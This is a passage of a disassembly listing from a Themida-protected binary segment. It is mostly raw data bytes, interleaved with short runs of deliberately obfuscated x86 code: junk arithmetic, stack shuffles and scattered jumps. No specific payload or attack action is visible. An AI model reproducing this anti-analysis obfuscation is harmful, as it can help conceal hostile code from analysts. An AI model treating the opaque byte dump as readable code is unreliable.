0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586B5B: ; CODE XREF: Themida_:0058877Fj push esi jmp loc_589171 ; --------------------------------------------------------------------------- db 56h, 0BEh, 42h dd 0E91DAC1Ah, 61Ah, 3302C183h, 0C31240Ch, 240C3324h, 0C8B665Ch dd 0D7685024h, 5400007Dh, 8324048Fh, 58042404h, 28F2B951h dd 2E9678Bh, 66000050h, 5024048Bh, 405E089h, 68000000h dd 2510h, 50243489h, 234DF368h, 1BACE944h, 0E9560000h dd 0FFFFFCA3h, 4C481h, 0A8E90000h, 0FF00001Dh, 48B2434h dd 0E2895224h, 18BB850h, 0BDE90012h, 2C000010h, 0AC045923h dd 0D800F304h, 0AC2CF32Ch, 39685C04h, 89000056h, 0B252240Ch dd 0BFE952F0h, 0ADFFFFCBh, 1D3168h, 24148900h, 8904EC83h dd 0CFBF243Ch, 0F757BD10h, 5E7C1D7h, 7DC1EF81h, 5756A9A1h dd 442BE9h, 65B95100h, 0E94C285Fh, 42h, 50E68956h, 0A02E9h dd 0C8B6600h, 4EC8124h, 89000000h, 0E954240Ch, 0FFFFB594h dd 0EE805B66h, 0B65266B4h, 0B3536692h, 66D800B1h, 52F0005Bh dd 0FBE9E8B2h, 83FFFFC4h, 3C8704EFh, 0C0B5E924h, 0CB89FFFFh dd 0DFBD5559h, 29198032h, 5D08246Ch, 4245C29h, 4244481h dd 198032DFh, 81241C8Bh, 4C4h, 0B9685800h, 8900007Fh, 0A9BB241Ch dd 4358FA15h, 0C381D3F7h, 0A5227510h, 0FFFA0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_586CAD: ; CODE XREF: Themida_:005842D1j push edx mov edx, 3B1F1993h add edx, 0C4E0E671h sub ebp, edx pop edx jmp loc_58CC7F ; --------------------------------------------------------------------------- db 5, 73h, 3Dh dd 815A4411h, 4ECh, 242C8900h, 0A80CD9BDh, 0B9E5E94Fh dd 2DADFFFFh, 1E5047AAh, 4EC81h, 14890000h, 64E95524h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586CEF: ; CODE XREF: Themida_:00589734j pop ecx jmp loc_58A336 ; --------------------------------------------------------------------------- aYj?shv db '¾Yj}?éHV',0 dw 8100h dd 0DF5E1CF6h, 0E9F331A7h, 5CA5h, 11E9C101h, 81000069h dd 4C4h, 108CE900h, 0C1810000h, 2, 0E9240C87h, 3BCFh, 81008Fh dd 35F33DE3h, 0FFAB90E9h, 80CFFEFFh, 0F78083CFh, 1FF7809Eh dd 1370E9h, 42EEB800h, 0C14838D7h, 390506E8h, 2D60B919h dd 619C7640h, 7200C181h, 0E9815B98h, 485C6Fh, 0FFFF9FE9h dd 5E5456FFh, 4C681h, 9BE90000h, 54000041h, 57243C8Bh dd 0C781E789h, 4, 4C781h, 0C9E90000h, 100001Ch, 4EC83E8h dd 0BF243C89h, 5A7C2120h, 14E9D7F7h, 5CFFFFB8h, 0E9243489h dd 0FFFFC4C2h, 0AD69A835h, 2942056Fh, 0DB3526E2h, 525DFE40h dd 970130BAh, 0E9D02947h, 0FFFFE673h, 0E9F1295Eh, 45EBh dd 0D83362BDh, 0EADDE97Dh, 0FE88FFFFh, 0FFF692E9h, 0EAF181FFh dd 0E976360Fh, 4C7Dh, 8904EC83h, 6BB82404h, 2908191Dh dd 0FAE958C6h, 0E9FFFFE0h, 0FFFFAAC1h, 2B17BF57h, 95E97CA5h dd 5C000062h, 242C3166h, 242C3366h, 242C3166h, 0FFAAA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_586E25: ; CODE XREF: Themida_:0058A15Cj pop edx jmp loc_585512 ; --------------------------------------------------------------------------- db 1 dd 0E9815AD1h, 7C5E7052h, 0C181F901h, 7C5E7052h, 0BA52h dd 0CA010000h, 0E95A0288h, 5026h ; --------------------------------------------------------------------------- loc_586E4C: ; CODE XREF: Themida_:0058A074j pop edx push edx mov edx, esp add edx, 4 jmp loc_589C5A ; --------------------------------------------------------------------------- db 89h dd 0E189240Ch, 2C1BE9h db 0 ; --------------------------------------------------------------------------- loc_586E65: ; CODE XREF: Themida_:0058846Fj xor edx, 4DA82470h mov ebp, edx pop edx sub eax, 0D626E2Eh add eax, 2E6E2E5Ch sub eax, 6C420FB6h sub eax, ebp add eax, 6C420FB6h sub eax, 2E6E2E5Ch add eax, 0D626E2Eh pop ebp jmp loc_58A925 ; --------------------------------------------------------------------------- loc_586E94: ; CODE XREF: Themida_:00581918j push 4A72h mov [esp], ecx mov ecx, esp push eax mov eax, 7B5C03E5h xor eax, 778200CEh sub eax, 5DD93C0Dh jmp loc_58C743 ; --------------------------------------------------------------------------- loc_586EB3: ; CODE XREF: Themida_:005822ABj pop ebx push 45B3h mov [esp], ecx mov ecx, 2028E0h shl ecx, 1 xor ecx, 632E232Bh sub ebp, ecx pop ecx shl ebp, 6 push ebx mov ebx, 151E30FFh sub ebp, ebx pop ebx jmp loc_5837F7 ; --------------------------------------------------------------------------- db 29h, 0F0h, 5 aTnvSn@ db 0Ah db 'tV^é@',0 align 2 dw 295Fh dd 0EC80E9CAh, 0C301FFFFh, 6EB86858h, 1C890000h, 22C6BB24h dd 5C2915F8h, 1C8B0824h, 4A05E924h, 0B2B10000h, 0E91DE980h dd 0FFFFE401h, 0E9028F66h, 0FFFFA9A9h, 0BB53575Dh, 4, 15BDF89h dd 51A7E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_586F32: ; CODE XREF: Themida_:005886F4j push eax mov ah, 29h jmp loc_58539A ; --------------------------------------------------------------------------- dw 0C159h dd 61E904EAh, 8B000043h, 0E955242Ch, 0FFFFF9E4h, 6514BA52h dd 505544BFh, 67D3BA52h, 0D089771Dh, 0DFBD555Ah, 0C1612311h dd 0E5C105EDh, 3779E903h, 0CFE0000h, 52E99C24h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_586F77: ; CODE XREF: Themida_:00587387j mov [esp], edx mov edx, 2D9E4F20h add ebx, edx pop edx mov dx, [esp] push esi sub esp, 4 jmp loc_5881B9 ; --------------------------------------------------------------------------- loc_586F8F: ; CODE XREF: Themida_:0058BC19j mov eax, 31462078h dec eax inc eax sub eax, 7C47BC9h push ebp push eax jmp loc_583100 ; --------------------------------------------------------------------------- loc_586FA2: ; CODE XREF: Themida_:00583E38j add ebp, 4 jmp loc_582251 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0BE562424h, 4, 4247401h, 5400E95Eh, 0C8B0000h dd 52C5E924h, 8B660000h, 5450240Ch, 47BE6858h, 14890000h dd 4EC8324h, 0B9240C89h, 201F0E3Fh, 8159CA89h, 1F0E3BEAh dd 0C2B3E920h, 0D101FFFFh, 749E981h, 835A6FCEh, 0C8904ECh dd 2474FF24h, 0E7E95904h, 1000069h, 81042474h, 0EC042444h dd 8B7A0845h, 0C4812434h, 4, 5724048Fh, 0AED7E951h, 483FFFFh dd 815B0424h, 4C3h, 0BA525500h, 40BF38C8h, 0D59DE955h dd 0E951FFFFh, 0FFFFDC56h, 8104C483h, 4ECh, 0DF30E900h dd 148BFFFFh, 4C48124h, 51000000h, 6C2BE950h, 0F5810000h dd 2CFC18F7h, 315DEA89h, 5A042454h, 70BD555Ah, 565E240Eh dd 5F6D59BEh, 51DEF754h, 0E4DDE955h, 0E955FFFFh, 0FFFFB423h dd 3E3168h, 241C8900h, 8B4E94BBh, 64C3817Eh, 5787A50Ch dd 0C02A45BFh, 5FFB2967h, 84FF381h, 0E9563195h, 0FFFFFC39h dd 5C243487h, 81241C89h, 76222434h, 8E94B38h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5870CF: ; CODE XREF: Themida_:0058B072j sub esp, 4 mov [esp], eax push 0DA836AAFh pop eax sub ebx, eax pop eax mov edi, ebx pop ebx push ebp push ecx push 41403927h pop ecx dec ecx sub ecx, 2C8D73D1h add ecx, 1AD6B674h jmp loc_5828EF ; --------------------------------------------------------------------------- loc_5870FE: ; CODE XREF: Themida_:0058A4FEj mov esi, [esp] add esp, 4 push eax push esp pop eax push ebx mov ebx, 7AAB06C9h sub ebx, 478604E4h push edi mov edi, 4FC1334Dh jmp loc_589F66 ; --------------------------------------------------------------------------- dw 815Ch dd 0EDB25AC5h, 5DE901A6h, 0FFBB43E9h, 4C781FFh, 87000000h dd 565C243Ch, 0C681E689h, 4, 45D9E9h db 0 ; --------------------------------------------------------------------------- loc_587145: ; CODE XREF: Themida_:005822D2j pop eax add esi, edi pop edi sub ecx, 1EE5044Ah add ecx, esi push edi mov edi, 1EE5044Ah jmp loc_5837C5 ; --------------------------------------------------------------------------- dd 27EBEB81h, 0DF0144A7h, 2EF815Bh, 57000000h, 42474FFh dd 0FFEF43E9h, 8DF581FFh, 81173074h, 84C54BEDh, 0E0DDE95Ah dd 0F681FFFFh, 44C34456h, 0C681D6F7h, 238265EDh, 0FFCAF9E9h dd 81D329FFh, 0E54C70EBh, 0FB015A1Ah, 19CFC381h, 0E95F3671h dd 4787h, 0A9ABD55h, 0F74510FFh, 36C581DDh, 3111E1A6h dd 0F0015DEEh, 2404335Eh, 33240431h, 0E95C2404h, 6A45h dd 2DD00159h, 33722350h, 1012C05h, 0C718h, 0E9000000h dd 0FFFFE413h, 207F83ADh, 0A3840F00h, 81FFFFC8h, 6B65B2C6h dd 0FBEEE978h, 0F029FFFFh, 3362055Eh, 0EC817DD8h, 4, 50243489h dd 813218B8h, 0E9D8F751h, 0FFFFD5BEh, 0A46FBC2Dh, 0E9C8293Dh dd 5D98h, 0E91FEB80h, 10FDh, 0E9240C8Bh, 0FFFFE277h ; --------------------------------------------------------------------------- loc_58723C: ; CODE XREF: Themida_:00583BFBj add edx, 2FBE53FCh jmp loc_583D70 ; --------------------------------------------------------------------------- db 80h dd 0B45093EBh, 58E30003h, 5106EB80h, 1680E9h db 0 ; --------------------------------------------------------------------------- loc_587259: ; CODE XREF: Themida_:00584D37j or ecx, 55464966h not ecx xor ecx, 2EF55430h sub ecx, 10CB2C61h neg ecx jmp loc_58A834 ; --------------------------------------------------------------------------- dd 24148B66h, 0AFD68h, 240C8900h, 0C1815954h, 4, 4FE468h dd 24348900h, 656B951h, 58BE1FFCh, 291FFC06h, 240C8BCEh dd 4C481h, 0F1010000h, 5E2434FFh, 3304C483h, 0C31240Ch dd 5ECFE924h, 12B10000h, 24248651h, 8852D4F6h, 24648AE2h dd 24548804h, 80595A04h, 0B050F0E1h, 4FF2C13h, 58C1007Ah dd 0EFE9662Ch, 68000043h, 3BBFh, 3477E9h, 0AAB86600h, 66566607h dd 0E90000BEh, 0FFFFB648h, 8124348Bh, 4C4h, 5AD12900h dd 5C240C87h, 56240489h, 5A245A68h, 0E9D8E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58731A: ; CODE XREF: Themida_:00588292j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_58731F: ; CODE XREF: Themida_:00589C64j push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] mov [esp], esi jmp loc_5867C3 ; --------------------------------------------------------------------------- loc_58733F: ; CODE XREF: Themida_:0058D033j add ecx, 62514669h sub ecx, edi sub ecx, 62514669h jmp loc_582602 ; --------------------------------------------------------------------------- dw 401h dd 242C8124h, 484C0404h, 9C268h, 59F6E900h, 0C3010000h dd 6AD7BA52h, 0C281728Fh, 6C4C322Eh, 0ED00E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58737A: ; CODE XREF: Themida_:0058CD57j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp sub esp, 4 jmp loc_586F77 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812404h, 4, 8104C483h, 4EAh, 0C71BE900h dd 0DD88FFFFh, 6EC5805Bh, 73E9E800h, 8700004Dh, 45E92434h dd 81000011h, 0C1852EF1h, 87C5818Eh, 294E5855h, 4677E9CDh dd 0EB800000h, 5BDE30F3h, 0E97EC680h, 616Dh ; --------------------------------------------------------------------------- loc_5873DC: ; CODE XREF: Themida_:00584EA8j mov [esp], ebx mov ebx, 1 and eax, ebx jmp loc_584FA7 ; --------------------------------------------------------------------------- db 87h dd 4BE92404h, 88000004h, 0C5805AD5h, 5A0BE997h, 0E9810000h dd 786D23C2h, 0E953E901h, 0FFFFBDE1h, 0EA81CA01h, 4A3A0D4Dh dd 0FFC7C5E9h, 0D831ADFFh, 6665BE56h, 0CE811D57h, 3804059h dd 769FF681h, 0BAE95C83h, 81FFFFF6h, 42404h, 34FF0000h dd 0C4815F24h, 4, 4C781h, 0C7830000h, 243C8704h, 3416685Ch dd 0C890000h, 1EEF6824h, 3C890000h, 786B6824h, 4F5F58F8h dd 6B4EE9h, 71C68000h, 805AF528h, 0E800BDEDh, 4317E959h dd 99BD0000h, 814CAB2Eh, 0BE6D53E5h, 45D5F704h, 0FFDE15E9h dd 3058B7FFh, 5AE95BFAh, 5E000015h, 4C481h, 0BE560000h dd 515B240Dh, 815EF129h, 794B51C1h, 81C10102h, 794B51E9h dd 0D632E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5874BE: ; CODE XREF: Themida_:0058AD04j mov ecx, 49E49465h add edi, ecx pop ecx mov esi, edi pop edi push edi mov edi, 0B59AAB74h add esi, edi jmp loc_588E27 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 6964E9h, 66DA8800h, 81241C8Bh, 2C4h, 6ACA8000h dd 6808E2C0h, 35D6h, 0FFCEDBE9h, 47C680FFh, 44EB80h, 0BDB252F3h dd 0D2F6DAF6h, 0DAF6DAF6h, 803BEA80h, 0D300C5F2h, 8124148Bh dd 4C4h, 148B6600h, 2C48124h, 28000000h, 515066C3h, 219EE9h dd 0C1EE8100h, 0E92EFA7Eh, 316Fh, 365551BEh, 68685777h dd 89000025h, 1CBA2414h, 81363E28h, 0E72752F2h, 40AFE90Ch dd 89500000h, 7C1668E0h, 0C890000h, 7FB8B924h, 0F1812D66h dd 3B4C5DB5h, 4E9BF57h, 0F92128F7h, 6E9C15Fh, 6A37E181h dd 0C1812E0Bh, 0FFFFF804h, 0C8BC801h, 0E908E924h, 0C481FFFFh dd 4, 0FFFE5DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5875A1: ; CODE XREF: Themida_:0058BC5Bj and eax, ebp pop ebp jmp loc_588777 ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 81771A08h, 2454016Fh, 246C8108h, 81771A08h, 2F41E96Fh dd 0E9570000h, 0FFFFD7C9h, 0FAE932FFh, 8BFFFFA2h, 0C481242Ch dd 4, 4F92E953h, 0FD040000h, 0FD2CD828h, 81241C8Bh, 4C4h dd 0B4505100h, 66B5BCh, 0DDF658E5h, 0C0AFED80h, 0B3E903EDh dd 0B700001Ch, 66FC00F3h, 0C0DCF65Bh, 0C4FE04E4h, 8079E480h dd 0E628CEC4h, 6EEC058h, 4438E9h, 578BBD00h, 8FE95FCEh dd 5B00004Ah, 15D1ED81h, 3EE906BAh, 89000033h, 3FE955E0h dd 5AFFFFFEh, 0FFBC41E9h, 5E5456FFh, 4C681h, 0C6810000h dd 4, 8B243487h, 81522424h, 4ECh, 19AE900h, 680000h, 0E9000000h dd 0FFFFCDE2h, 0BA241489h, 613D6926h, 3B5BBA52h, 26E96251h dd 5AFFFFFFh, 5424E9h, 0BAE95000h, 0C1FFFFF6h, 25E907EAh dd 31FFFFBFh, 0E9D1F7CFh, 0FFFFAD12h ; --------------------------------------------------------------------------- loc_5876A0: ; CODE XREF: Themida_:00588947j neg esi jmp loc_58C5BC ; --------------------------------------------------------------------------- db 28h dd 0B35350C3h, 71CB8035h, 0E9E5F380h, 0FFFFF165h, 0E4ED815Dh dd 0E9270034h, 3C38h, 4E9815Fh, 87000000h, 895C240Ch, 74FF240Ch dd 0C8B0424h, 492DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5876DE: ; CODE XREF: Themida_:00586763j add esi, 63607F2Fh add esi, ebx sub esi, 63607F2Fh add esi, 22CF7A09h mov ebx, [esp] jmp loc_58D89B ; --------------------------------------------------------------------------- dw 0EB81h dd 609876BFh, 0C381EB01h, 609876BFh, 6D7CEB81h, 815D671Ah dd 2C3h, 241C8700h, 2404085Ch, 0A1A7E99Ch, 5752FFFFh, 903EBABFh dd 5FFA890Dh, 9456B12Dh, 27E80538h, 0D02933CAh, 32BFE9h db 0 ; --------------------------------------------------------------------------- loc_58773D: ; CODE XREF: Themida_:0058CC6Dj shl eax, 3 add eax, 2A834A0h not eax xor eax, 9761D5CBh add ecx, eax pop eax xchg ecx, [esp] pop esp push edx push 5A4907A1h jmp loc_586768 ; --------------------------------------------------------------------------- dw 315Ah dd 0D1015FFAh, 8124148Bh, 4C4h, 240C8700h, 431665Ch, 4EE99C24h dd 5BFFFFA1h, 4EC81h, 2C890000h, 0E96BE924h, 0D14FFFFFh dd 376DE9EFh, 0C5290000h, 8124048Bh, 4C4h, 25C9E900h, 77FF0000h dd 2434FF1Ch, 5324048Bh, 37E9E389h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_5877B3: ; CODE XREF: Themida_:00584D64j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_588C3F ; --------------------------------------------------------------------------- dd 712968h, 24148900h, 2441E9h, 24E28000h, 0F280C2FEh dd 4D3F689Ah, 29E90000h, 58FFFFAFh, 0EB80C300h, 0E95866EFh dd 0FFFFFEB3h, 9D5EB81h, 0E95F359Ah, 0FFFFAD10h, 53240C89h dd 0D9887EB3h, 57241C8Bh, 243C8B54h, 4C481h, 0C7810000h dd 4, 4BE56h, 0FE90000h, 54FFFFBEh, 8124048Fh, 42404h dd 48F0000h, 24048324h, 166FE904h, 248B0000h, 240C8924h dd 0A68E189h, 89000046h, 4BF243Ch, 1000000h, 243C8BF9h dd 8104C483h, 4C1h, 240C8700h, 0E924248Bh, 0FFFFDF3Ch dd 0DC11E957h, 8157FFFFh, 4ECh, 24248900h, 4240481h, 0FF000000h dd 835F2434h, 0C78104C4h, 4, 45C6E9h, 24043100h, 31CF3197h dd 0FDF5E9F9h, 34FFFFFFh, 0EEFBE924h, 1AE9FFFFh, 52FFFFA0h dd 0F28035B2h, 0B0506656h, 66C2308Eh, 0EFB55158h, 53E1E9h dd 0C5815900h, 7591EA5Ch, 5876EE81h, 0F3E93399h, 66FFFFA5h dd 5624048Bh, 5A568h, 2556E900h, 0D3F70000h, 5703EBC1h dd 2309CABFh, 5FFB01ECh, 0F26D6B05h, 4CF9E96Dh, 89510000h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 241C895Ch, 6824048Bh dd 206h, 89241C89h, 0E5EE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_587926: ; CODE XREF: Themida_:0058496Dj push 1 pop edi and eax, edi push dword ptr [esp] mov edi, [esp] push 2Eh mov [esp], esi mov esi, esp push eax mov eax, 4 jmp loc_58844C ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0DE7EE81h, 0F031D955h, 0E92434FFh, 2810h ; --------------------------------------------------------------------------- loc_58795C: ; CODE XREF: Themida_:0058B790j shr eax, 10h xor eax, ecx xchg eax, ecx not ecx sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_5879A8 ; --------------------------------------------------------------------------- dw 665Ah dd 0D6B15158h, 80A6B252h, 51E935F2h, 68FFFFD0h, 703Bh dd 4379E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push 39C36F9Bh pop eax jmp loc_5885B1 ; --------------------------------------------------------------------------- loc_5879A8: ; CODE XREF: Themida_:00587979j mov [esp], esp add dword ptr [esp], 4 jmp loc_5842BF ; --------------------------------------------------------------------------- db 81h dd 4C7h, 2BD5500h, 1000000h, 0FF575DEFh, 0E9042474h, 3C79h dd 4C781h, 0ACE90000h, 0FF00000Fh, 34FF2434h, 0B8E95924h dd 6600003Eh, 5224048Bh, 2434FF54h, 0E789575Ah, 4C781h dd 0C7830000h, 243C8704h, 0C8B9515Ch, 0E97BBA7Bh, 1D95h dd 8001ED80h, 0EF882EC5h, 5BFE2059h, 0C02CF680h, 0E6C005EEh dd 0D0EE8002h, 0E9E4B450h, 0FFFFDA05h, 8324148Bh, 0E95B04C4h dd 0FFFF9E91h, 8605D801h, 8B22D906h, 0C481241Ch, 4, 4EC81h dd 34890000h, 2BE24h, 0A2D0000h, 0E956AD74h, 0FFFFF47Dh ; --------------------------------------------------------------------------- loc_587A60: ; CODE XREF: Themida_:0058C76Ej mov [esp], edi push 5F5D35C0h jmp loc_58415C ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0F2456ABBh, 81D3F70Fh, 17B654F3h, 5BDD29E3h, 4A0BE9h db 0 ; --------------------------------------------------------------------------- loc_587A85: ; CODE XREF: Themida_:00589A49j add eax, 48D50679h push esi mov esi, 800h jmp loc_58A4F9 ; --------------------------------------------------------------------------- db 4, 29h, 66h dd 3515E952h, 0C9BA0000h, 5011F348h, 0F510C6B8h, 580B3554h dd 0C2314506h, 16012D58h, 0D0011AC5h, 0FFC300E9h db 0FFh ; --------------------------------------------------------------------------- loc_587ABD: ; CODE XREF: Themida_:0058B739j or ecx, 0E4C4459h sub ecx, 9ECECF5Dh jmp loc_584D2E ; --------------------------------------------------------------------------- dw 1C89h dd 0A5DEE924h, 0C131FFFFh, 312FE9h, 4B900h, 0CB890000h dd 34EA8159h, 8101F77Fh, 0B37C2BEAh, 38B1E95Dh, 0D3F70000h dd 4DDFF381h, 0FFE91E4Fh, 5FFFFCEh, 4, 5EE0E9h db 0 ; --------------------------------------------------------------------------- loc_587B0D: ; CODE XREF: Themida_:005833F8j push ecx jmp loc_581D64 ; --------------------------------------------------------------------------- db 89h dd 0F5B02404h, 6AE9D0F6h, 8100001Ah, 3496C0C1h, 59CE315Eh dd 4511CE81h, 0B850208Ah, 5A193BF2h, 1635D0F7h, 40020739h dd 5423840Dh, 4AF10525h, 4D2D13A3h, 0E9CF1504h, 0FFFFAD26h ; --------------------------------------------------------------------------- loc_587B50: ; CODE XREF: Themida_:00585CD5j mov [esp], cx jmp loc_5852FE ; --------------------------------------------------------------------------- db 58h, 0FFh, 34h dd 241C8B24h, 4C481h, 3C680000h, 0E9000031h, 4935h ; --------------------------------------------------------------------------- loc_587B70: ; CODE XREF: Themida_:0058804Fj pop edx shr eax, 0Eh xor eax, ecx push eax xor [esp], esi xor esi, [esp] xor [esp], esi push 2F1Dh jmp loc_585EF9 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 5C24048Fh, 4B30F66h, 2AE99C24h, 28FFFF9Dh dd 0E95266C3h, 0FFFFAB3Fh, 8B1C4709h, 0C4832404h, 9D13E904h dd 34FFFFFFh, 9F685824h, 89000073h, 0E9542404h, 4A1h, 0FF9CFCE9h dd 0EBE951FFh, 0F6000051h, 4E5C0D5h, 88A2F580h, 885159ECh dd 59EE88E5h, 4346E958h, 0C3810000h, 4, 4C381h, 1C870000h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_588BDB ; --------------------------------------------------------------------------- dw 0EA31h dd 15D9E95Dh, 0E1890000h, 4C181h, 0AEE90000h, 0BB000033h dd 0 dd 0DE89F329h, 53E6815Bh, 0C110F33Ah, 39E906EEh, 5C000039h dd 24048966h, 0FF9C90E9h, 0D82959FFh, 39FA68h, 24148900h dd 5C1685BAh, 5AD00117h, 785D68h, 24348900h, 2F83BB53h dd 0EBC131CEh, 0BAC38103h, 891BF473h, 0C6835BDEh, 0E9DEF701h dd 4D2h, 8124348Bh, 4C4h, 0BF5700h, 81541B03h, 5C35E3E7h dd 0E1E7817Fh, 4F6F6C00h, 45F78147h, 0E904DF31h, 59E6h dd 41E9D0F7h, 66FFFFECh, 8324048Bh, 3C8904ECh, 4EC8324h dd 50242489h, 4B8h, 24440100h, 565F5804h, 0D65E3FBEh, 0C7CE8164h dd 81674A50h, 0C00560F6h, 0C1DEE91Bh, 0C281FFFFh, 812010Eh dd 77A8C281h, 0D6E900C6h, 8300000Bh, 0CE0104C4h, 2B85059h dd 1000000h, 348758C6h, 24248B24h, 9C242CD2h, 0FFDFC0E9h dd 8BE952FFh, 83FFFFE7h, 1C3302C3h, 241C3124h, 5C241C33h dd 24048B66h, 37416852h, 24890000h, 24048124h, 4, 8324148Bh dd 685004C4h, 4, 0F5EE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_587D3A: ; CODE XREF: Themida_:0058A7A0j mov [esp], eax push 4 mov eax, [esp] add esp, 4 and ecx, eax push dword ptr [esp] pop eax add esp, 4 shr ecx, 2 jmp loc_5857F7 ; --------------------------------------------------------------------------- dd 24DF581h, 0EC8144DCh, 4, 8B242C89h, 0EC832404h, 242C8904h dd 0B951E589h, 4, 0C8BCD01h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 4C5815Ch, 87000000h, 0F7E9242Ch, 8100005Fh dd 4C4h, 9B1FE900h, 0C383FFFFh, 241C8702h, 0E924248Bh dd 0FFFFC45Fh, 24048B66h, 47A9E9h db 0 ; --------------------------------------------------------------------------- loc_587DC1: ; CODE XREF: Themida_:00581A24j mov [esp], ebx push edx jmp loc_586374 ; --------------------------------------------------------------------------- dw 0ED81h dd 5B462F74h, 0C581DD29h, 5B462F74h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_583E32 ; --------------------------------------------------------------------------- db 2Ch dd 58C6882Eh, 88F18851h, 72E959CFh db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_587DF3: ; CODE XREF: Themida_:0058D362j add esp, 4 mov edx, ebp mov ebp, [esp] jmp loc_583530 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 1F46h, 89241C89h, 4EC83E3h, 0E9240489h, 486Eh dd 11B9E95Dh, 0E0890000h, 405h, 0B3ABE900h, 0E389FFFFh dd 4C381h, 0C3830000h, 241C8704h, 0E924248Bh, 0FFFFC2C6h dd 0C381E389h, 4, 0FFBACFE9h, 24248BFFh, 0F66F1F6h, 0EC81CCB6h dd 4, 0FFE4A6E9h, 0B85059FFh, 4, 64E9C101h, 33FFFFCFh dd 248B242Ch, 4016624h, 46E99C24h, 66FFFF9Ah, 0C0B60F58h dd 0FFA6CEE9h, 29E95CFFh db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_587E93: ; CODE XREF: Themida_:005894EBj xchg ebp, [esp] pop esp add ebx, 2 xchg ebx, [esp] jmp loc_584589 ; --------------------------------------------------------------------------- dw 2489h dd 8E95724h, 81FFFFE6h, 4C4h, 0C78CE900h, 0F745FFFFh, 10F581DDh dd 816E956Bh, 6894E5F5h, 5DE80193h, 8B240487h, 35E92424h dd 66FFFFD7h, 0DBB353h, 776E9DDh, 895C0000h, 0EC83240Ch dd 24148904h, 0DC52E951h, 895DFFFFh, 2434FFF1h, 0FDE9E95Eh dd 15B1FFFFh, 0DCE9CA00h, 81FFFFD8h, 21852404h, 565A0F08h dd 82185BEh, 5EF2290Fh, 8324348Bh, 0C28104C4h, 3E52D4F0h dd 89D58955h, 0AC91E9EEh, 47B9FFFFh, 19FF4EDh, 2852E9CEh dd 0E9C10000h, 81D1F705h, 986F7EE1h, 1AF1816Ch, 16C986Fh dd 0C68159CEh, 4, 5C243487h, 0FFC26AE9h, 242489FFh, 0E41E9h dd 5AD53100h, 393DE9h, 0BA525E00h, 52ED00DDh, 79C1F281h dd 0F28110E3h, 420E7918h, 505AD601h, 510FBD55h, 4D45703Fh dd 4D06E5C1h, 0FFCCC5E9h, 0E9D4F6FFh, 0FFFFDC30h, 81242C8Bh dd 4C4h, 3DAA6800h, 0C890000h, 66F1B924h, 0E9812E5Dh, 40985224h dd 0FFFFC181h, 6852FFFFh, 0CF507494h, 0FFDF81E9h, 241C89FFh dd 0FFF4C4E9h, 0C8B66FFh, 4EC8124h, 89000000h, 0AE9243Ch dd 29000011h, 90E95EF2h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_587FE7: ; CODE XREF: Themida_:0058AEE1j mov edx, 4 add ecx, edx pop edx xchg ecx, [esp] pop esp loc_587FF3: ; CODE XREF: Themida_:005850D4j ; Themida_:005897B6j push 5111h mov [esp], ebx push dword ptr [esp] pop eax push 5EE2h mov [esp], ecx jmp loc_589F30 ; --------------------------------------------------------------------------- dd 2876CD81h, 0ED817E3Dh, 34243496h, 4ADDED81h, 0EA814BDBh dd 11A804DDh, 0C281EA01h, 11A804DDh, 5B37E9h, 9CE95800h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_588037: ; CODE XREF: Themida_:0058CC7Aj pop eax or edi, 5B1E08A3h sub edi, 66B6D7DCh and edx, edi pop edi sub edx, 63FFC045h and eax, edx jmp loc_587B70 ; --------------------------------------------------------------------------- dd 0E94AEB80h, 0FFFFD485h ; --------------------------------------------------------------------------- loc_58805C: ; CODE XREF: Themida_:0058C5EAj push edx mov edx, 0 add edx, ebx jmp loc_5847A8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48158h, 56000000h, 0B5B95150h, 0E95C5E7Ch, 932h, 2B8h dd 5BC78100h, 1703E0Eh, 5BEF81C7h, 8B703E0Eh, 0C4812404h dd 4, 31243C33h, 3C33243Ch, 0FAE95C24h, 81000026h, 4C3h dd 4C38300h, 4F46E9h, 5BFA0000h, 131E9h, 2E58100h, 81527966h dd 3103FEEDh, 3FC78150h, 16E0A3Eh, 3FEF81EFh, 0E96E0A3Eh dd 0F95h ; --------------------------------------------------------------------------- loc_5880E0: ; CODE XREF: Themida_:0058C7E8j pop esp mov [esp], ebx jmp loc_588C5B ; --------------------------------------------------------------------------- db 1, 